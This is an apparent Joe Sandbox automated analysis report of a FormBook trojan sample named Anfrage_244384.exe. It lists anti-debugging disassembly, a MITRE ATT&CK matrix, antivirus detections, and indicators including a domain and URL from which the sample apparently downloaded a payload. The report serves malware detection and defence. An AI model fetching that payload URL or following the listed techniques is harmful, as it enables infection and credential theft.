      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471B2F0 mov eax, dword ptr fs:[00000030h]5_2_3471B2F0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472F2F8 mov eax, dword ptr fs:[00000030h]5_2_3472F2F8
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347452E2 mov eax, dword ptr fs:[00000030h]5_2_347452E2
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346692FF mov eax, dword ptr fs:[00000030h]5_2_346692FF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347212ED mov eax, dword ptr fs:[00000030h]5_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347212ED mov eax, dword ptr fs:[00000030h]5_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347212ED mov eax, dword ptr fs:[00000030h]5_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347212ED mov eax, dword ptr fs:[00000030h]5_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347212ED mov eax, dword ptr fs:[00000030h]5_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347212ED mov eax, dword ptr fs:[00000030h]5_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347212ED mov eax, dword ptr fs:[00000030h]5_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347212ED mov eax, dword ptr fs:[00000030h]5_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347212ED mov eax, dword ptr fs:[00000030h]5_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347212ED mov eax, dword ptr fs:[00000030h]5_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347212ED mov eax, dword ptr fs:[00000030h]5_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347212ED mov eax, dword ptr fs:[00000030h]5_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347212ED mov eax, dword ptr fs:[00000030h]5_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347212ED mov eax, dword ptr fs:[00000030h]5_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346792C5 mov eax, dword ptr fs:[00000030h]5_2_346792C5
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346792C5 mov eax, dword ptr fs:[00000030h]5_2_346792C5
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469B2C0 mov eax, dword ptr fs:[00000030h]5_2_3469B2C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469B2C0 mov eax, dword ptr fs:[00000030h]5_2_3469B2C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469B2C0 mov eax, dword ptr fs:[00000030h]5_2_3469B2C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469B2C0 mov eax, dword ptr fs:[00000030h]5_2_3469B2C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469B2C0 mov eax, dword ptr fs:[00000030h]5_2_3469B2C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469B2C0 mov eax, dword ptr fs:[00000030h]5_2_3469B2C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469B2C0 mov eax, dword ptr fs:[00000030h]5_2_3469B2C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466B2D3 mov eax, dword ptr fs:[00000030h]5_2_3466B2D3
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466B2D3 mov eax, dword ptr fs:[00000030h]5_2_3466B2D3
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466B2D3 mov eax, dword ptr fs:[00000030h]5_2_3466B2D3
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469F2D0 mov eax, dword ptr fs:[00000030h]5_2_3469F2D0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469F2D0 mov eax, dword ptr fs:[00000030h]5_2_3469F2D0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346852A0 mov eax, dword ptr fs:[00000030h]5_2_346852A0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346852A0 mov eax, dword ptr fs:[00000030h]5_2_346852A0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346852A0 mov eax, dword ptr fs:[00000030h]5_2_346852A0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346852A0 mov eax, dword ptr fs:[00000030h]5_2_346852A0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347072A0 mov eax, dword ptr fs:[00000030h]5_2_347072A0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347072A0 mov eax, dword ptr fs:[00000030h]5_2_347072A0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346F92BC mov eax, dword ptr fs:[00000030h]5_2_346F92BC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346F92BC mov eax, dword ptr fs:[00000030h]5_2_346F92BC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346F92BC mov ecx, dword ptr fs:[00000030h]5_2_346F92BC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346F92BC mov ecx, dword ptr fs:[00000030h]5_2_346F92BC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347392A6 mov eax, dword ptr fs:[00000030h]5_2_347392A6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347392A6 mov eax, dword ptr fs:[00000030h]5_2_347392A6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347392A6 mov eax, dword ptr fs:[00000030h]5_2_347392A6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347392A6 mov eax, dword ptr fs:[00000030h]5_2_347392A6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346A329E mov eax, dword ptr fs:[00000030h]5_2_346A329E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346A329E mov eax, dword ptr fs:[00000030h]5_2_346A329E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34745283 mov eax, dword ptr fs:[00000030h]5_2_34745283
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34713370 mov eax, dword ptr fs:[00000030h]5_2_34713370
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472F367 mov eax, dword ptr fs:[00000030h]5_2_3472F367
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34677370 mov eax, dword ptr fs:[00000030h]5_2_34677370
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34677370 mov eax, dword ptr fs:[00000030h]5_2_34677370
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34677370 mov eax, dword ptr fs:[00000030h]5_2_34677370
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466D34C mov eax, dword ptr fs:[00000030h]5_2_3466D34C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466D34C mov eax, dword ptr fs:[00000030h]5_2_3466D34C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34745341 mov eax, dword ptr fs:[00000030h]5_2_34745341
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34669353 mov eax, dword ptr fs:[00000030h]5_2_34669353
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34669353 mov eax, dword ptr fs:[00000030h]5_2_34669353
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469F32A mov eax, dword ptr fs:[00000030h]5_2_3469F32A
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34667330 mov eax, dword ptr fs:[00000030h]5_2_34667330
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473132D mov eax, dword ptr fs:[00000030h]5_2_3473132D
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473132D mov eax, dword ptr fs:[00000030h]5_2_3473132D
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346F930B mov eax, dword ptr fs:[00000030h]5_2_346F930B
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346F930B mov eax, dword ptr fs:[00000030h]5_2_346F930B
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346F930B mov eax, dword ptr fs:[00000030h]5_2_346F930B
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347453FC mov eax, dword ptr fs:[00000030h]5_2_347453FC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472F3E6 mov eax, dword ptr fs:[00000030h]5_2_3472F3E6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472B3D0 mov ecx, dword ptr fs:[00000030h]5_2_3472B3D0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347113B9 mov eax, dword ptr fs:[00000030h]5_2_347113B9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347113B9 mov eax, dword ptr fs:[00000030h]5_2_347113B9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347113B9 mov eax, dword ptr fs:[00000030h]5_2_347113B9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346A33A0 mov eax, dword ptr fs:[00000030h]5_2_346A33A0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346A33A0 mov eax, dword ptr fs:[00000030h]5_2_346A33A0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346933A5 mov eax, dword ptr fs:[00000030h]5_2_346933A5
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3474539D mov eax, dword ptr fs:[00000030h]5_2_3474539D
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346C739A mov eax, dword ptr fs:[00000030h]5_2_346C739A
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346C739A mov eax, dword ptr fs:[00000030h]5_2_346C739A
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34681C60 mov eax, dword ptr fs:[00000030h]5_2_34681C60
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346A1C7C mov eax, dword ptr fs:[00000030h]5_2_346A1C7C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34667C40 mov eax, dword ptr fs:[00000030h]5_2_34667C40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34667C40 mov ecx, dword ptr fs:[00000030h]5_2_34667C40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34667C40 mov eax, dword ptr fs:[00000030h]5_2_34667C40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34667C40 mov eax, dword ptr fs:[00000030h]5_2_34667C40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472FC4F mov eax, dword ptr fs:[00000030h]5_2_3472FC4F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34741C3C mov eax, dword ptr fs:[00000030h]5_2_34741C3C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346ABC3B mov esi, dword ptr fs:[00000030h]5_2_346ABC3B
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473DC27 mov eax, dword ptr fs:[00000030h]5_2_3473DC27
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473DC27 mov eax, dword ptr fs:[00000030h]5_2_3473DC27
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473DC27 mov eax, dword ptr fs:[00000030h]5_2_3473DC27
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346F9C32 mov eax, dword ptr fs:[00000030h]5_2_346F9C32
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3474BC01 mov eax, dword ptr fs:[00000030h]5_2_3474BC01
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3474BC01 mov eax, dword ptr fs:[00000030h]5_2_3474BC01
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346FBC10 mov eax, dword ptr fs:[00000030h]5_2_346FBC10
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346FBC10 mov eax, dword ptr fs:[00000030h]5_2_346FBC10
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346FBC10 mov ecx, dword ptr fs:[00000030h]5_2_346FBC10
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34711CF9 mov eax, dword ptr fs:[00000030h]5_2_34711CF9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34711CF9 mov eax, dword ptr fs:[00000030h]5_2_34711CF9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34711CF9 mov eax, dword ptr fs:[00000030h]5_2_34711CF9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346A5CC0 mov eax, dword ptr fs:[00000030h]5_2_346A5CC0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346A5CC0 mov eax, dword ptr fs:[00000030h]5_2_346A5CC0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471FCDF mov eax, dword ptr fs:[00000030h]5_2_3471FCDF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471FCDF mov eax, dword ptr fs:[00000030h]5_2_3471FCDF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471FCDF mov eax, dword ptr fs:[00000030h]5_2_3471FCDF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34681CC7 mov eax, dword ptr fs:[00000030h]5_2_34681CC7
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34681CC7 mov eax, dword ptr fs:[00000030h]5_2_34681CC7
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34667CD5 mov eax, dword ptr fs:[00000030h]5_2_34667CD5
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34667CD5 mov eax, dword ptr fs:[00000030h]5_2_34667CD5
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34667CD5 mov eax, dword ptr fs:[00000030h]5_2_34667CD5
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34667CD5 mov eax, dword ptr fs:[00000030h]5_2_34667CD5
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34667CD5 mov eax, dword ptr fs:[00000030h]5_2_34667CD5
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346F3CDB mov eax, dword ptr fs:[00000030h]5_2_346F3CDB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346F3CDB mov eax, dword ptr fs:[00000030h]5_2_346F3CDB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346F3CDB mov eax, dword ptr fs:[00000030h]5_2_346F3CDB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466DCA0 mov eax, dword ptr fs:[00000030h]5_2_3466DCA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469FCA0 mov ecx, dword ptr fs:[00000030h]5_2_3469FCA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469FCA0 mov eax, dword ptr fs:[00000030h]5_2_3469FCA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469FCA0 mov eax, dword ptr fs:[00000030h]5_2_3469FCA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469FCA0 mov eax, dword ptr fs:[00000030h]5_2_3469FCA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469FCA0 mov eax, dword ptr fs:[00000030h]5_2_3469FCA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346ABCA0 mov eax, dword ptr fs:[00000030h]5_2_346ABCA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346ABCA0 mov eax, dword ptr fs:[00000030h]5_2_346ABCA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346ABCA0 mov ecx, dword ptr fs:[00000030h]5_2_346ABCA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346ABCA0 mov eax, dword ptr fs:[00000030h]5_2_346ABCA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472FCAB mov eax, dword ptr fs:[00000030h]5_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472FCAB mov eax, dword ptr fs:[00000030h]5_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472FCAB mov eax, dword ptr fs:[00000030h]5_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472FCAB mov eax, dword ptr fs:[00000030h]5_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472FCAB mov eax, dword ptr fs:[00000030h]5_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472FCAB mov eax, dword ptr fs:[00000030h]5_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472FCAB mov eax, dword ptr fs:[00000030h]5_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472FCAB mov eax, dword ptr fs:[00000030h]5_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472FCAB mov eax, dword ptr fs:[00000030h]5_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472FCAB mov eax, dword ptr fs:[00000030h]5_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472FCAB mov eax, dword ptr fs:[00000030h]5_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472FCAB mov eax, dword ptr fs:[00000030h]5_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472FCAB mov eax, dword ptr fs:[00000030h]5_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472FCAB mov eax, dword ptr fs:[00000030h]5_2_3472FCAB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34673C84 mov eax, dword ptr fs:[00000030h]5_2_34673C84
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34673C84 mov eax, dword ptr fs:[00000030h]5_2_34673C84
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34673C84 mov eax, dword ptr fs:[00000030h]5_2_34673C84
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34673C84 mov eax, dword ptr fs:[00000030h]5_2_34673C84
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34729D70 mov eax, dword ptr fs:[00000030h]5_2_34729D70
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34729D70 mov eax, dword ptr fs:[00000030h]5_2_34729D70
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471FD78 mov eax, dword ptr fs:[00000030h]5_2_3471FD78
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471FD78 mov eax, dword ptr fs:[00000030h]5_2_3471FD78
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471FD78 mov eax, dword ptr fs:[00000030h]5_2_3471FD78
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471FD78 mov eax, dword ptr fs:[00000030h]5_2_3471FD78
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471FD78 mov eax, dword ptr fs:[00000030h]5_2_3471FD78
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34677D75 mov eax, dword ptr fs:[00000030h]5_2_34677D75
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34677D75 mov eax, dword ptr fs:[00000030h]5_2_34677D75
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346ABD4E mov eax, dword ptr fs:[00000030h]5_2_346ABD4E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346ABD4E mov eax, dword ptr fs:[00000030h]5_2_346ABD4E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34667D41 mov eax, dword ptr fs:[00000030h]5_2_34667D41
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34683D40 mov eax, dword ptr fs:[00000030h]5_2_34683D40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34683D40 mov eax, dword ptr fs:[00000030h]5_2_34683D40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34683D40 mov eax, dword ptr fs:[00000030h]5_2_34683D40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34683D40 mov eax, dword ptr fs:[00000030h]5_2_34683D40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34683D40 mov ecx, dword ptr fs:[00000030h]5_2_34683D40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34683D40 mov ecx, dword ptr fs:[00000030h]5_2_34683D40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34683D40 mov eax, dword ptr fs:[00000030h]5_2_34683D40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34683D40 mov ecx, dword ptr fs:[00000030h]5_2_34683D40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34683D40 mov ecx, dword ptr fs:[00000030h]5_2_34683D40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34683D40 mov eax, dword ptr fs:[00000030h]5_2_34683D40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34683D40 mov ecx, dword ptr fs:[00000030h]5_2_34683D40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34683D40 mov ecx, dword ptr fs:[00000030h]5_2_34683D40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34683D40 mov eax, dword ptr fs:[00000030h]5_2_34683D40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeProcess created: C:\Users\user\Desktop\Anfrage_244384.exe "C:\Users\user\Desktop\Anfrage_244384.exe"Jump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_00405DE5 GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,0_2_00405DE5

      Stealing of Sensitive Information

      barindex
      Yara detected FormBook
      Source: Yara matchFile source: 00000005.00000002.2738186207.00000000342E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Yara detected FormBook
      Source: Yara matchFile source: 00000005.00000002.2738186207.00000000342E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

      Mitre Att&ck Matrix

      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
      Native API      		1
      DLL Side-Loading      		1
      Access Token Manipulation      		11
      Masquerading      		OS Credential Dumping1
      Query Registry      		Remote Services1
      Archive Collected Data      		11
      Encrypted Channel      		Exfiltration Over Other Network Medium1
      System Shutdown/Reboot
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization Scripts11
      Process Injection      		1
      Access Token Manipulation      		LSASS Memory211
      Security Software Discovery      		Remote Desktop Protocol1
      Clipboard Data      		1
      Ingress Tool Transfer      		Exfiltration Over BluetoothNetwork Denial of Service
      Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
      DLL Side-Loading      		11
      Process Injection      		Security Account Manager2
      File and Directory Discovery      		SMB/Windows Admin SharesData from Network Shared Drive2
      Non-Application Layer Protocol      		Automated ExfiltrationData Encrypted for Impact
      Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
      Deobfuscate/Decode Files or Information      		NTDS23
      System Information Discovery      		Distributed Component Object ModelInput Capture13
      Application Layer Protocol      		Traffic DuplicationData Destruction
      Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script2
      Obfuscated Files or Information      		LSA SecretsInternet Connection DiscoverySSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
      Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
      DLL Side-Loading      		Cached Domain CredentialsWi-Fi DiscoveryVNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Is Windows Process
      • Number of created Registry Values
      • Number of created Files
      • Visual Basic
      • Delphi
      • Java
      • .Net C# or VB.NET
      • C, C++ or other language
      • Is malicious
      • Internet

      Screenshots

      Thumbnails

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      Anfrage_244384.exe16%ReversingLabsWin32.Trojan.InjectorX
      Anfrage_244384.exe100%AviraHEUR/AGEN.1361137

      Dropped Files

      SourceDetectionScannerLabelLink
      C:\Users\user\AppData\Local\Temp\nsd5416.tmp\System.dll0%ReversingLabs

      Unpacked PE Files

      ⊘No Antivirus matches

      Domains

      ⊘No Antivirus matches

      URLs

      SourceDetectionScannerLabelLink
      https://familytherapycenter.rs/LxuQG254.bina0%Avira URL Cloudsafe
      https://familytherapycenter.rs/LxuQG254.bin0%Avira URL Cloudsafe
      https://familytherapycenter.rs/LxuQG254.binv0%Avira URL Cloudsafe

      Domains and IPs

      Contacted Domains

      NameIPActiveMaliciousAntivirus DetectionReputation
      familytherapycenter.rs
      		188.40.95.144
      		truefalse
        		high

        Contacted URLs

        NameMaliciousAntivirus DetectionReputation
        https://familytherapycenter.rs/LxuQG254.binfalse
        • Avira URL Cloud: safe
        		unknown

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtdAnfrage_244384.exe, 00000005.00000001.1973135397.00000000005F2000.00000020.00000001.01000000.00000007.sdmpfalse
          		high
          http://www.ftp.ftp://ftp.gopher.Anfrage_244384.exe, 00000005.00000001.1973135397.0000000000649000.00000020.00000001.01000000.00000007.sdmpfalse
            		high
            https://familytherapycenter.rs/LxuQG254.binaAnfrage_244384.exe, 00000005.00000002.2710632001.00000000045C4000.00000004.00000020.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtdAnfrage_244384.exe, 00000005.00000001.1973135397.00000000005F2000.00000020.00000001.01000000.00000007.sdmpfalse
              		high
              http://nsis.sf.net/NSIS_ErrorAnfrage_244384.exefalse
                		high
                http://nsis.sf.net/NSIS_ErrorErrorAnfrage_244384.exefalse
                  		high
                  https://familytherapycenter.rs/LxuQG254.binvAnfrage_244384.exe, 00000005.00000002.2710632001.0000000004588000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://familytherapycenter.rs/Anfrage_244384.exe, 00000005.00000002.2710632001.00000000045C4000.00000004.00000020.00020000.00000000.sdmpfalse
                    		high
                    https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214Anfrage_244384.exe, 00000005.00000001.1973135397.0000000000649000.00000020.00000001.01000000.00000007.sdmpfalse
                      		high

                      World Map of Contacted IPs

                      • No. of IPs < 25%
                      • 25% < No. of IPs < 50%
                      • 50% < No. of IPs < 75%
                      • 75% < No. of IPs

                      Public IPs

                      IPDomainCountryFlagASNASN NameMalicious
                      188.40.95.144
                      		familytherapycenter.rsGermany
                      		24940HETZNER-ASDEfalse

                      General Information

                      Joe Sandbox version:41.0.0 Charoite
                      Analysis ID:1552316
                      Start date and time:2024-11-08 16:04:50 +01:00
                      Joe Sandbox product:CloudBasic
                      Overall analysis duration:0h 8m 28s
